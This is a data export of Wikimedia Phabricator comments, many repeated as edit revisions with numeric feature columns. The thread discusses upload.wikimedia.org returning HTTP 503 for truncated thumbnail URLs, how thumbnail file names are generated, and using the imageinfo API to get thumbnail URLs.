@Joe: can this bug be closed or is there anything left to do?",,,1573820568,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,228,True,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.96,"I cannot reproduce with URLs such as URL
SCREEN_NAME: can this bug be closed or is there anything left to do?"
561963,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Don't know if it's correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.

Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.

Maybe Commons should clearly state that you can freely use images from Commons unless you insert them directly by URL?

",,,1447309290,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,19,True,0.5,0.0,0.5,0.0,2.5,4.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,12.5,10.5,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,7.5,2.5,2.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,1.0,11.5,0.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,14.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.5,6.0,0.5,0.0,0.0,7.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,4.050517598343685,0.791407867494824,"Don't know if it's correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.

Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.

Maybe Commons should clearly state that you can freely use images from Commons unless you insert them directly by URL?

"
561962,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Don't know if it's correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.

Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.

",,,1447309174,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,19,True,1.0,0.0,1.0,0.0,3.0,4.5,0.0,0.0,0.0,0.5,2.0,1.5,0.0,0.0,0.0,2.5,0.0,11.5,8.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,12.5,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,12.5,2.0,1.5,1.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.5,8.5,4.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.947837521917007,0.7863822326125074,"Don't know if it's correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.

Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.

"
561961,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Don't know if it' correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.

Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.

",,,1447309132,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,19,True,1.0,0.0,1.0,0.0,3.0,4.5,0.0,0.0,0.0,0.5,2.0,2.0,0.0,0.0,0.0,2.5,0.0,11.5,8.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,7.5,3.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,12.5,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,12.5,2.0,1.5,1.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.5,8.5,4.0,0.0,0.5,0.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9393629456458212,0.7863822326125074,"Don't know if it' correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.

Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.

"
549356,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",">>! In T106517#1722718, @Tgr wrote:
> See [[ https://github.com/wikimedia/mediawiki/blob/a2d6ecc4539e60501803155990ec36575bdb4332/includes/filerepo/FileRepo.php#L1764 | `FileRepo::nameForThumb()` ]] for how the thumbnail file name (the part after the `/`) is generated. IIRC `abbrvThreshold` is 200 for Wikimedia sites.
> 

160 for commons at least
https://gerrit.wikimedia.org/r/#/c/168239/1/wmf-config/filebackend.php",,,1445377415,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.3076923076923075,0.6923076923076923,"QUOTE
QUOTE
QUOTE

160 for commons at least
URL"
546749,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",I do show an interactive interface https://commons.wikimedia.org/wiki/Commons:WLX_Jury_Tool,,,1444893500,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,I do show an interactive interface URL
546747,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Yes, the imageinfo delay for the median user is around 200 ms (or was when we last measured it - that was a while ago). If you show an interactive interface, that's nontrivial; if you do some kind of batch processing there is no reason to care.",,,1444892799,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,15,True,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,7.0,9.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,5.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6,0.8727272727272727,"Yes, the imageinfo delay for the median user is around 200 ms (or was when we last measured it - that was a while ago). If you show an interactive interface, that's nontrivial; if you do some kind of batch processing there is no reason to care."
546746,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Yes, the imageinfo delay for the median user is around 200 ms. If you show an interactive interface, that's nontrivial; if you do some kind of batch processing there is no reason to care.",,,1444892659,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,15,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.85,0.875,"Yes, the imageinfo delay for the median user is around 200 ms. If you show an interactive interface, that's nontrivial; if you do some kind of batch processing there is no reason to care."
546750,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
Doesn't seem much even though response time increases by 2-6 times.
Another question is how many thumbnail URLs queried in a batch can give a noticeable delay",,,1444893756,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,3.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,6.0,0.0,1.0,14.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0144927536231885,0.7391304347826086,"Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
URL
Doesn't seem much even though response time increases by 2-6 times.
Another question is how many thumbnail URLs queried in a batch can give a noticeable delay"
546748,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
Doesn't seem much even though response time increases by 2-5 times.
Another question is how many thumbnail URLs queried in a batch can give a noticeable delay",,,1444892799,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,3.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,6.0,0.0,1.0,14.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0144927536231885,0.7391304347826086,"Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
URL
Doesn't seem much even though response time increases by 2-5 times.
Another question is how many thumbnail URLs queried in a batch can give a noticeable delay"
546716,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
Doesn't seem much even though response time increases in 2-5 times.
Another question is how many thumbnail URLs queried in a batch can give a noticeable delay",,,1444881490,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,3.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,6.0,0.0,1.0,14.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0144927536231885,0.7246376811594203,"Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
URL
Doesn't seem much even though response time increases in 2-5 times.
Another question is how many thumbnail URLs queried in a batch can give a noticeable delay"
546715,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
Doesn't seem much even though response time increases in 2-5 times.
Another question is how many thumbnail URLs in queried in a batch can give a noticeable delay",,,1444881453,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,3.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,6.0,0.0,1.0,16.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9857142857142858,0.7142857142857143,"Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
URL
Doesn't seem much even though response time increases in 2-5 times.
Another question is how many thumbnail URLs in queried in a batch can give a noticeable delay"
545810,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","See [[ https://github.com/wikimedia/mediawiki/blob/a2d6ecc4539e60501803155990ec36575bdb4332/includes/filerepo/FileRepo.php#L1764 | `FileRepo::nameForThumb()` ]] for how the thumbnail file name (the part after the `/`) is generated. IIRC `abbrvThreshold` is 200 for Wikimedia sites.

But as Bawolff says you should use the API unless you are super interested in performance (and if you don't use it, you are going to have harder problems than this).",,,1444762013,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,6.0,14.0,4.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,13.0,6.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,3.0,3.5072463768115942,0.7391304347826086,"See [[ URL | CODE ]] for how the thumbnail file name (the part after the CODE) is generated. IIRC CODE is 200 for Wikimedia sites.

But as Bawolff says you should use the API unless you are super interested in performance (and if you don't use it, you are going to have harder problems than this)."
545670,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","I would say we should redirect to correct url instead of 400.



>>! In T106517#1721105, @Base wrote:
> @jcrespo could you kindly point to where the correct usage of the API you are talking about is documented. I was trying to find something on mww yesterday on encountering the task merged but failed.

The imageinfo module of the api. You should ask it about the thumbnail url for a specific file.
",,,1444748755,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,13.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,10.0,13.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7435897435897436,0.7948717948717948,"I would say we should redirect to correct url instead of 400.



QUOTE
QUOTE

The imageinfo module of the api. You should ask it about the thumbnail url for a specific file.
"
545568,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",@jcrespo could you kindly point to where the correct usage of the API you are talking about is documented. I was trying to find something on mww yesterday on encountering the task merged but failed.,,,1444737188,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,14,True,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,16.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,16.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,4.513513513513513,0.8378378378378378,SCREEN_NAME could you kindly point to where the correct usage of the API you are talking about is documented. I was trying to find something on mww yesterday on encountering the task merged but failed.
544484,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",Filed T115155 in any case.,,,1444428880,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Filed T115155 in any case.
545811,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","(Image in question: [[ https://commons.wikimedia.org/wiki/File:Kitagawa_Utamaro_-_Toji_san_bijin_(Three_Beauties_of_the_Present_Day)From_Bijin-ga_(Pictures_of_Beautiful_Women),_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg | link ]])

Maybe it's from MediaViewer's [[ https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FMultimediaViewer/7b12a23f5c62c59bed60e0caddff44f99f2edad6/resources%2Fmmv%2Fprovider%2Fmmv.provider.GuessedThumbnailInfo.js | thumbnail URL guessing ]]? That would only happen though if MediaViewer is opened by clicking on a full-size image and then it tries to fetch a thumbnail, and I can't really see when that would happen. If you can check the request headers, you can recognize MediaViewer requests because they have an origin. Alternatively, can you tell what the referer and user agent are?",,,1444762043,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,1.0,2.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,1.0,5.0,4.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,5.0,2.0,12.0,5.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,9.0,4.0,2.0,0.0,0.0,7.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,3.0,3.7676767676767677,0.7171717171717171,"(Image in question: [[ URL | link ]])

Maybe it's from MediaViewer's [[ URL | thumbnail URL guessing ]]? That would only happen though if MediaViewer is opened by clicking on a full-size image and then it tries to fetch a thumbnail, and I can't really see when that would happen. If you can check the request headers, you can recognize MediaViewer requests because they have an origin. Alternatively, can you tell what the referer and user agent are?"
544476,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","(Image in question: [[ https://commons.wikimedia.org/wiki/File:Kitagawa_Utamaro_-_Toji_san_bijin_(Three_Beauties_of_the_Present_Day)From_Bijin-ga_(Pictures_of_Beautiful_Women),_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg | link ]])

Maybe it's from MediaViewer's [[ https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FMultimediaViewer/7b12a23f5c62c59bed60e0caddff44f99f2edad6/resources%2Fmmv%2Fprovider%2Fmmv.provider.GuessedThumbnailInfo.js | thumbnail URL guessing ]]? That would only happen though if MediaViewer is opened by clicking on a fill-size image and then it tries to fetch a thumbnail, and I can't really see when that would happen. If you can check the request headers, you can recognize MediaViewer requests because they have an origin. Alternatively, can you tell what the referer and user agent are?",,,1444428484,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,2.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,1.0,5.0,4.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,5.0,2.0,12.0,5.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,9.0,4.0,2.0,0.0,0.0,7.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,3.0,3.7676767676767677,0.7171717171717171,"(Image in question: [[ URL | link ]])

Maybe it's from MediaViewer's [[ URL | thumbnail URL guessing ]]? That would only happen though if MediaViewer is opened by clicking on a fill-size image and then it tries to fetch a thumbnail, and I can't really see when that would happen. If you can check the request headers, you can recognize MediaViewer requests because they have an origin. Alternatively, can you tell what the referer and user agent are?"
544147,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","We have a particular case that happens a lot, for files with long names like [[  https://commons.wikimedia.org/wiki/File:Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg | this ]], we get requests in the form:  

[[ https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg |  `https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg` ]]
